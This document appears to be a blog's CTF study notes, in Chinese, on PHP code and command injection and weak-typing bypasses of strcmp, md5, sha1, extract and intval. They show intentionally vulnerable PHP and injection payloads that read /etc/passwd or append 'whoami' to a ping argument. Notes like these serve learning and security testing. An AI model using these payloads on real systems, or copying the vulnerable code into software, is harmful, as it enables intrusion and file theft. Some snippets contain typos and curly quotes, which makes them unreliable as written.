CODE/COMMAND INJECTION

CODE INJECTION

https://www.freebuf.com/sectool/168653.html

EXAMPLE1

<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是连接  双引号注意就近。  

Eval($str);          \”双引号转义 因为echo  内容需要是字符串

?>

注意单引号双引号区别

%22.system(%27ls%27);//   输入,替换了$GET_[‘name’]

%22 :   “

%27: ‘

<?php

$str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”;    

Eval($str);

?>

‘.cat /etc/passwd’

%22.system(‘cat  /etc/passwd’);//   失败

%22.system(%27cat  /etc/passwd%27);//     成功

COMMAND INJECTION

Example 1

<?php

System(‘ping –c $_GET[‘ip’]’ );

?>

127.0.0.1;whoami

PHP 弱类型

= ==

strcmp()

<?php
if (isset($_GET['value'])) {
if (strcmp($_GET['value'], $flag) == 0)
die('Flag is: '.$flag);
else print 'Flag is not here !';
}
?>

Strcmp= s1-s2

参数是两个数组,输入数组则错误,判断相等

Urlcode 二次编码绕过

/i 不区分大小写

浏览器对用户输入数据自动解码(比如输入 %27)

<?php
if(preg_match("/hackerDJ/i",$_GET[id])) {
echo(" not allowed ! ");
exit();
}
$_GET[id] = urldecode($_GET[id]); //解码
if($_GET[id] == "hackerDJ") {
die('Flag is: '.$flag);
}
?>

对D ,为 %44,再次urlencode,得到 %2544

整数类型大小比较

数组在比较中恒大与具体值

其他类型和整形比较会先 intval()

<?php
$temp = $_GET['id'];
is_numeric($temp) ? die("retry !") : NULL;
if($temp>6607){
die('Flag is: '.$flag);
} else print 'Flag is not here !';
?> Flag is not here !

Extract 变量覆盖

Extract(array,extract_rules,prefix)

<?php
$flags='test.txt';
extract($_GET);
if(isset($id)) {
$content=trim(file_get_contents($flags));
if($id==$content) {
die('Flag is: '.$flag);
} else {
print 'Flag is not here !';
} }
?>

如果输入id=$content

使用extract接收输入,存在变量覆盖,覆盖flags

接收输入后,flags=1,此时

file_get_contents($flags)

取不到文件,故content为空

同时输入id是空。   &是连接符,重新复制flags

输出flag

Intval()

小数取整echo intval(9.999); // 9。最大值取决于操作系统


<?php
$key = $_GET['key'];
if(intval($key) > 1||intval($key) < 0){
die("key is not right");
}
elseif (intval($key) < 1) {
if ($key ==1) {
die('Flag is: '.$flag);
}else print 'key is not right !!!';
} ?> key is not right !!!

Php中弱比较,1==0.999999999999999999999999

比如 echo 1==0.999999999999999999999999  输出1

正则截断

Erge

Php版本小于5.3

遇到%00 默认字符串结束

Preg_match()

Php>=5.3

遇到%00 默认字符串结束


<?php
if(isset($_GET['password'])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){
print('You password not right'); } elseif(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
if(strpos($_GET['password'], '*_*') !== FALSE){
die('Flag is:'.$flag);
} else{
print('*_* have not been found');
}
} else{
print('Invalid password');
}
}
?>

1e8 >9999999 字符串长度小于8

Eval() 注入

把字符串当做PHP代码执行。只能执行不能回显。

<?php
if (isset($_GET['id'])) {
$id = $_GET['id'];
eval("var_dump($id);");
}
?>

闭合括号,注释掉后面

Md5()弱比较

PHP中 md5对数组加密返回NULL

对所有0e开头(16进制)字符串认为相等

<?php
if (isset($_GET['p1']) && isset($_GET['p2'])) {
if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) == md5($_GET['p2']))
die('Flag is: '.$flag);
else print 'Flag is not here !';
}
?>

输入数组用  ?p1[],多个用 &

Md5()强比较

== 只对值比较,两边先转化为同种类型,若一方为数字另一方为空或null或数组,现将字符串转化为0

=== 比较类型和值

<?php
if (isset($_GET['p1']) && isset($_GET['p2'])) {
if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) === md5($_GET['p2']))
die('Flag is: '.$flag);
else print 'Flag is not here !';
}
?>

Sha()弱比较

对数组加密返回NULL

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo ' Your password can not be your name! ';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag); else echo ' Invalid password ';
}
else echo 'Flag is not here !';
?> Flag is not here !

Strpos

查找字符串在字符串第一次出现的位置。Strpos(string,find,start)。在string中查找find

<?php
if (isset($_GET['id'])) {
$one = ord('0');
$nine = ord('9');
for($i = 0; $i < strlen($_GET['id']); $i++) {
$digit = ord($_GET['id']{$i});
if(($digit < $one) || ($digit > $nine) ) {
print("必须输入数字才行");
return FALSE;
}
}
if (strpos($_GET['id'], 'sss607') !== FALSE)
die('Flag: '.$flag);
else echo 'flag is not here ~';
}
?>

先判断只有数字

Strpos对数组查找返回NULL,NULL!==flase

Session 验证绕过

Session_start() 用来初始化session或从session仓库加载已经存在的session变量

<?php
@session_start();
print($_SESSION["password"]);
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print 'password is not right !';
$_SESSION['password']=rand(10000000,99999999);
?>

系统会判断用户输入的password的值是否与当前session中password值相同。初始时session为空,故输入password为空即可

若直接访问过http://10.201.132.248:8090/13.session/session.php 则session已经存在,不为空。清空缓存或者换浏览器即可

PHP 弱类型 && CODE/COMMADN injection的更多相关文章

  1. MVC 强类型传值Model。和弱类型传值ViewData[&quot;&quot;]。及用EF进行增删查改(母版页的使用)

    <1> 控制器 </pre><pre name="code" class="csharp">using MvcTest.Mo ...

  2. PHP弱类型需要特别注意的问题

    下面介绍的问题都已验证, 总结:字符数据比较==不比较类型,会将字符转数据,字符转数字(转换直到遇到一个非数字的字符.即使出现无法转换的字符串,intval()不会报错而是返回0).0e,0x开头的字 ...

  3. [JS2] JS是弱类型

    <html> <head> <title>JavaScript 是弱类型的</title> <Script Language="Java ...

  4. sqlite 的比较等运算是根据不同的值而不同的,并不是根据的字段类型,因为 sqlite 是弱类型字段

    sqlite 的比较等运算是根据不同的值而不同的,并不是根据的字段类型,因为 sqlite 是弱类型字段   --------------------------------------------- ...

  5. MVC强类型和弱类型的区别

    1 强类型的处理 首先必须要有一个对象的实体类,UserINfo就是一个实体类,如下: public class UserInfo() { public  int Id{set;get;} publi ...

  6. PHP弱类型安全问题的写法和步骤

    鉴于目前PHP是世界上最好的语言,PHP本身的问题也可以算作是web安全的一个方面.在PHP中的特性就是弱类型,以及内置函数对于传入参数的松散处理.本篇文章主要就是记录我在做攻防平台上面遇到的PHP的 ...

  7. Javascript 弱类型:除法结果是小数

    由于javascript是弱类型,只有一种var类型,所以在运算时不会自动强制转换,所以计算的结果是多少就是多少,但java中的17/10的结果就是1(强类型与弱类型)比如:console.log(M ...

  8. 2016年11月3日JS脚本简介数据类型: 1.整型:int 2.小数类型: float(单精度) double(双精度) decimal () 3.字符类型: chr 4.字符串类型:sting 5.日期时间:datetime 6.布尔型数据:bool 7.对象类型:object 8.二进制:binary 语言类型: 1.强类型语言:c++ c c# java 2.弱类型语

    数据类型: 1.整型:int 2.小数类型: float(单精度) double(双精度) decimal () 3.字符类型: chr 4.字符串类型:sting 5.日期时间:datetime 6 ...

  9. 弱类型语言中的0和空字符串(''或"")以及字符串'0'

    在弱类型语言(js/PHP)中, 当我们用==判断0和'0'以及空字符串(''或"")是否相等的时候, 返回的是true. 而且在PHP中, 当我们用==判断0和null是否相等的 ...

随机推荐

  1. 数据库 | 001-MySQL梳理系列(一)

    MySQL基本组成 SQL执行流程 Server 层主要包括连接器.查询缓存.分析器.优化器.执行器,包含了MySQL主要的很多核心功能,以及所有的内置函数.存储过程.触发器.视图等,其实就是所有跨存 ...

  2. java虚拟机入门(三)- 你了解对象吗

    对象对于java程序员来说,那是想要多少就有多少,所以那些嘲笑程序员的单身狗,哼,只有无知使你们快乐,想我大java开发,何曾缺少过对象.我们不仅仅知道创建对象,还知道创建对象的过程是啥样的,不信?往 ...

  3. JavaScript中创建数组的方式!

    JavaScript中创建数组的方式! 利用数组字面量 // 1 直接量 console.log(Array.prototype); var arr = [1, 2, 4, 87432]; // 注意 ...

  4. Scalable Go Scheduler Design Doc

    https://docs.google.com/document/d/1TTj4T2JO42uD5ID9e89oa0sLKhJYD0Y_kqxDv3I3XMw/ Scalable Go Schedul ...

  5. AES 密钥与 RSA 密钥的关系

    AES 加密说明 - 支付宝开放平台 https://opendocs.alipay.com/open/common/104567 AES 密钥是对接口请求和响应内容进行加密,密文无法被第三方识别,从 ...

  6. Centos 7 Rabbitmq 安装并开机启动

    准备工作 安装wget yum install -y wget rabbitmq安装需要依赖erlang,erlang安装参考:https://www.cnblogs.com/swyy/p/11582 ...

  7. WPF combobox设置默认选项不生效的问题

    combobox 是常用的控件,当我们需要绑定设置默认选项时,往往会绑定 SelectedItem 属性去设置, 可是你会惊奇地发现SelectedItem的值绑定了, 它依旧是熟悉的模样 根据官方的 ...

  8. CF1190B

    扯在前面 我们老师刚讲过的题目,很考验思维,本蒟蒻WA了十发才过,然后看到题解里只是指出了特殊情况没多解释,可能有人看不懂,特来分享一下 首先题目就很有意思,思考的过程也很有趣,想把所有情况思考全思考 ...

  9. loj10008家庭作业

    题目描述 老师在开学第一天就把所有作业都布置了,每个作业如果在规定的时间内交上来的话才有学分.每个作业的截止日期和学分可能是不同的.例如如果一个作业学分为10 ,要求在6 天内交,那么要想拿到这 10 ...

  10. Grafana+Influxdb+Telegraf监控mysql

    Grafana+Influxdb+Telegraf监控mysql 一.安装 1.1安装Grafana+influxdb+telegraf 1.2启动服务,添加开机启动 1.3查看grafana界面 二 ...